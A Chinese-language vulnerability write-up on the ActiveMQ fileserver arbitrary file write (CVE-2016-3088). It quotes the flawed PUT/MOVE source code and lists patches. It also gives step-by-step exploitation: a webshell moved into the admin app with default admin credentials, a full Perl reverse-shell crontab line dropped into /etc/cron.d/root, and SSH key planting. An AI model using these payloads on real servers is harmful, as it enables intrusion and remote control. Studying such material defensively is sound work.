ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

ActiveMQ 是 Apache 軟件基金會(huì)下的一個(gè)開源消息驅(qū)動(dòng)中間件軟件。Jetty 是一個(gè)開源的 servlet 容器,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運(yùn)行環(huán)境。ActiveMQ 5.0 及以后版本默認(rèn)集成了jetty。在啟動(dòng)后提供一個(gè)監(jiān)控 ActiveMQ 的 Web 應(yīng)用。

2016年4月14日,國(guó)外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個(gè)安全漏洞,可使遠(yuǎn)程攻擊者用惡意代碼替代Web應(yīng)用,在受影響系統(tǒng)上執(zhí)行遠(yuǎn)程代碼(CVE-2016-3088),漏洞影響版本:Apache ActiveMQ 5.x ~ 5.14.0。

ZoomEye 上用 日期 和 ActiveMQ 作為關(guān)鍵詞檢索,分別探測(cè)了2015年1月1日(漏洞爆發(fā)前一年)和2017年1月1日(漏洞爆發(fā)后一年)互聯(lián)網(wǎng)上 ActiveMQ 的總量情況,如下。

ActiveMQ的web控制臺(tái)分三個(gè)應(yīng)用,admin、api和fileserver,其中admin是管理員頁(yè)面,api是接口,fileserver是儲(chǔ)存文件的接口;admin和api都需要登錄后才能使用,fileserver無(wú)需登錄。

fileserver是一個(gè)RESTful API接口,我們可以通過(guò)GET、PUT、DELETE等HTTP請(qǐng)求對(duì)其中存儲(chǔ)的文件進(jìn)行讀寫操作,其設(shè)計(jì)目的是為了彌補(bǔ)消息隊(duì)列操作不能傳輸、存儲(chǔ)二進(jìn)制文件的缺陷,但后來(lái)發(fā)現(xiàn):

  1. 其使用率并不高
  2. 文件操作容易出現(xiàn)漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經(jīng)默認(rèn)關(guān)閉了fileserver這個(gè)應(yīng)用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應(yīng)用。

原理

首先下載源碼,ActiveMQ 中的 FileServer 服務(wù)允許用戶通過(guò) HTTP PUT 方法上傳文件到指定目錄,在..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util目錄下的RestFilter.java文件中可以看到put的處理方法。

    protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (LOG.isDebugEnabled()) {
            LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
        }

        if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
            response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
            return;
        }

        File file = locateFile(request);

        if (file.exists()) {
            boolean success = file.delete(); // replace file if it exists
            if (!success) {
                response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
                                                                            // existed
                                                                            // and
                                                                            // could
                                                                            // not
                                                                            // be
                                                                            // deleted
                return;
            }
        }

用戶可以上傳文件到指定目錄,該路徑在 ..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\assembly\src\release\conf 中定義,如下:

                        <bean class="org.eclipse.jetty.webapp.WebAppContext">
                            <property name="contextPath" value="/fileserver" />
                            <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
                            <property name="logUrlOnStart" value="true" />
                            <property name="parentLoaderPriority" value="true" />
                        </bean>

其中put方法調(diào)用了如下函數(shù):

    private File locateFile(HttpServletRequest request) {
        return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.getPathInfo());
    }

后臺(tái)調(diào)用move關(guān)鍵代碼如下:

    protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (LOG.isDebugEnabled()) {
            LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
        }

        if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
            response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
            return;
        }

        File file = locateFile(request);
        String destination = request.getHeader(HTTP_HEADER_DESTINATION);

        if (destination == null) {
            response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
            return;
        }

        try {
            URL destinationUrl = new URL(destination);
            IOHelper.copyFile(file, new File(destinationUrl.getFile()));
            IOHelper.deleteFile(file);
        } catch (IOException e) {
            response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
                                                                        // could
                                                                        // not
                                                                        // be
                                                                        // moved
            return;
        }

可以看到該方法對(duì)目錄路徑?jīng)]有任何限制和過(guò)濾,因此漏洞原理如下:

fileserver支持寫入文件(但不解析jsp),同時(shí)支持移動(dòng)文件(MOVE請(qǐng)求)。所以,我們只需要寫入一個(gè)文件,然后使用MOVE請(qǐng)求將其移動(dòng)到任意位置,造成任意文件寫入漏洞。

利用

文件寫入有幾種利用方法:

  1. 寫入webshell
  2. 寫入cron或ssh key等文件
  3. 寫入jar或jetty.xml等庫(kù)和配置文件

寫入webshell的好處是,門檻低更方便,但前面也說(shuō)了fileserver不解析jsp,admin和api兩個(gè)應(yīng)用都需要登錄才能訪問(wèn),所以有點(diǎn)雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點(diǎn)是需要root權(quán)限;寫入jar,稍微麻煩點(diǎn)(需要jar的后門),寫入xml配置文件,這個(gè)方法比較靠譜,但有個(gè)雞肋點(diǎn)是:我們需要知道activemq的絕對(duì)路徑。

webshell

需要寫在admin或api應(yīng)用中,而這倆應(yīng)用都需要登錄才能訪問(wèn),默認(rèn)賬號(hào)及密碼都為admin,我們可以通過(guò)put上傳webshell到fileserver目錄:

我們發(fā)現(xiàn)提示401,是需要登錄的,所以說(shuō)比較雞肋。我們登錄之后再put

我們通過(guò)訪問(wèn)fileserver/1.jsp發(fā)現(xiàn)上傳已經(jīng)成功,但是由于該目錄沒(méi)有執(zhí)行權(quán)限,所以沒(méi)有解析:

接下來(lái)通過(guò)move移動(dòng)到admin或者api下:

首先要知道絕對(duì)路徑在哪,這里有兩種方法:

  1. 訪問(wèn)http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對(duì)路徑:

2.通過(guò)偽造特殊的上傳路徑爆出絕對(duì)路徑(5.7.0 復(fù)現(xiàn)):

接下來(lái)通過(guò)move方法,將木馬文件移動(dòng)到api或者admin:

接下來(lái)訪問(wèn)木馬:

成功解析。

寫入crontab,自動(dòng)化彈shell

這個(gè)方法需要ActiveMQ是root運(yùn)行,否則也不能寫入cron文件。
這是一個(gè)比較穩(wěn)健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執(zhí)行會(huì)失?。?/p>

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.17.131";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

將其移動(dòng)到/etc/cron.d/root:

發(fā)現(xiàn)計(jì)劃任務(wù)已經(jīng)寫入,等待反彈shell即可。

這個(gè)方法需要ActiveMQ是root運(yùn)行,否則也不能寫入cron文件。

上傳SSH公鑰

首先生成密鑰對(duì)。(如果已存在則不需要)

然后上傳、移動(dòng)到/root/.ssh/并重命名為authorized_keys

之后ssh登錄即可

寫入jetty.xml或jar

理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell。

有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來(lái),寫入crontab成功率更高一點(diǎn)。

解決方案:

  1. ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建議用戶升級(jí)至 5.14.0 及其以后版本。

  2. 通過(guò)移除 conf\jetty.xml 的以下配置來(lái)禁用 ActiveMQ Fileserver 功能

參考鏈接:

  1. https://www.seebug.org/vuldb/ssvid-96268
  2. https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 個(gè)人專題目錄[http://www.itdecent.cn/p/140e2a59db2c] 一、JMS簡(jiǎn)介 全稱...
    Java及SpringBoot閱讀 2,204評(píng)論 0 10
  • Spring Web MVC Spring Web MVC 是包含在 Spring 框架中的 Web 框架,建立于...
    Hsinwong閱讀 22,942評(píng)論 1 92
  • 一套實(shí)用的滲透測(cè)試崗位面試題,你會(huì)嗎? 1.拿到一個(gè)待檢測(cè)的站,你覺(jué)得應(yīng)該先做什么? 收集信息 whois、網(wǎng)站源...
    g0閱讀 5,159評(píng)論 0 9
  • 數(shù)據(jù)結(jié)構(gòu)隊(duì)列集合鏈表、數(shù)組字典、關(guān)聯(lián)數(shù)組棧樹二叉樹完全二叉樹平衡二叉樹二叉查找樹(BST)紅黑樹B-,B+,B*樹...
    jackcooper閱讀 3,381評(píng)論 1 50
  • 該書以小說(shuō)的形式,闡述的是心靈修為的內(nèi)容,當(dāng)一個(gè)人充滿了快樂(lè),正面積極的思想時(shí),那么好的人或者事物會(huì)與它引起共鳴,...
    哆啦的信箱閱讀 321評(píng)論 5 1

友情鏈接更多精彩內(nèi)容